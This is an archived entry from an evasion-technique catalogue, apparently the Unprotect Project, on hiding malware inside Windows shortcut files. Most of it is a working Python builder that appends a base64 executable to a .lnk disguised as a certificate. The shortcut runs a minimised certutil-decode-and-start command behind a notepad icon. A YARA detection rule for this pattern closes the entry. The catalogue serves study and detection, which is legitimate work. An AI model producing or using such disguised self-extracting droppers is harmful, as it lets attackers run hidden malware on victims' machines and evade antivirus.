Shortcut Hiding - Unprotect Project

Archived: 2026-04-05 15:38:50 UTC

Windows shortcut can be used to store code that downloads a malicious file from the internet, or that stores the malicious file directly within the shortcut itself. This can make it difficult for antivirus software to detect the malicious application, as the file is not stored in a typical location on the computer. Additionally, the use of a shortcut can make it easier for the attacker to hide the malicious code and evade detection.

Technique Identifier

U0505

Evasion Categories

Code Snippets

-

Description

This Python script can be used to create a Windows shortcut with an embedded file. The script takes two arguments: the file to embed and the name of the generated shortcut. The script first creates a Windows shortcut using the `winshell` module. The shortcut is configured to run a command that will decode the embedded file and then execute it. The script then encodes the file to be embedded using the base64 module and appends the encoded data to the shortcut file in the form of a certificate. Finally, the script prints the name of the generated shortcut to the screen. When the shortcut is clicked, the embedded file will be extracted and executed, allowing the malware to run on the system.

```
 #!/usr/bin/env python3

# Requirements:
# -> pip install pypiwin32
# -> pip install winshell

import argparse
import base64
import os
import pathlib
import random
import string

import winshell
```

```
def build_shortcut(file_to_embed, shortcut_name):
    output_shortcut = "{}{}.lnk".format(
        os.path.join(pathlib.Path(__file__).parent.resolve(), ''),
        shortcut_name,
    )

    with winshell.shortcut(output_shortcut) as shortcut:
        # @echo off & (for %i in (.lnk) do certutil -decode %i [filename]) & start [filename].exe
        payload = "@echo off&(for %i in (*.lnk) do certutil -decode %i {0}.exe)&start {0}.exe".format(
            "".join(random.choice(string.ascii_letters) for i in range(8))
        )

        shortcut.description = ""
        shortcut.show_cmd = "min"
        shortcut.working_directory = ""
        shortcut.path = "%COMSPEC%"

        shortcut.arguments = "/c \"{}".format(
            payload,
        )

        shortcut.icon_location = ("%windir%\\notepad.exe", 0)

    with open(file_to_embed, "rb") as file:
        encoded_content = base64.b64encode(file.read())

    with open(output_shortcut, "ab") as file:
        file.write(b"-----BEGIN CERTIFICATE-----")
        file.write(encoded_content)
        file.write(b"-----END CERTIFICATE-----")

    print("[+] Shortcut generated: \"{}\"".format(output_shortcut))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"Create Windows Shortcut with Self-Extracting Embedded File.")

    parser.add_argument('-f', '--embed-file', type=str, dest="embed_file", required=True, help="File to inject i

    parser.add_argument('-n', '--shorcut-name', type=str, dest="shortcut_name", required=True, help="Generated s

    try:
        argv = parser.parse_args()
    except IOError as e:
        parser.error()
```

```
    build_shortcut(argv.embed_file, argv.shortcut_name)

    print("[+] Done.")
```

Author: Jean-Pierre LESUEUR (DarkCoderSc) / Target Platform: Windows

Detection Rules

-

```
 rule YARA_Detect_ShortcutHiding
{
    meta:
        author = "Unprotect"
        status = "Experimental"
        description = "YARA rule for detecting Windows shortcuts with embedded malicious code"
    strings:
        $payload_start = "&(for %i in (*.lnk) do certutil -decode %i"
        $payload_end = "&start"
        $encoded_content = "BEGIN CERTIFICATE"
    condition:
        all of them
}
```

Last Revised

March 24, 2026
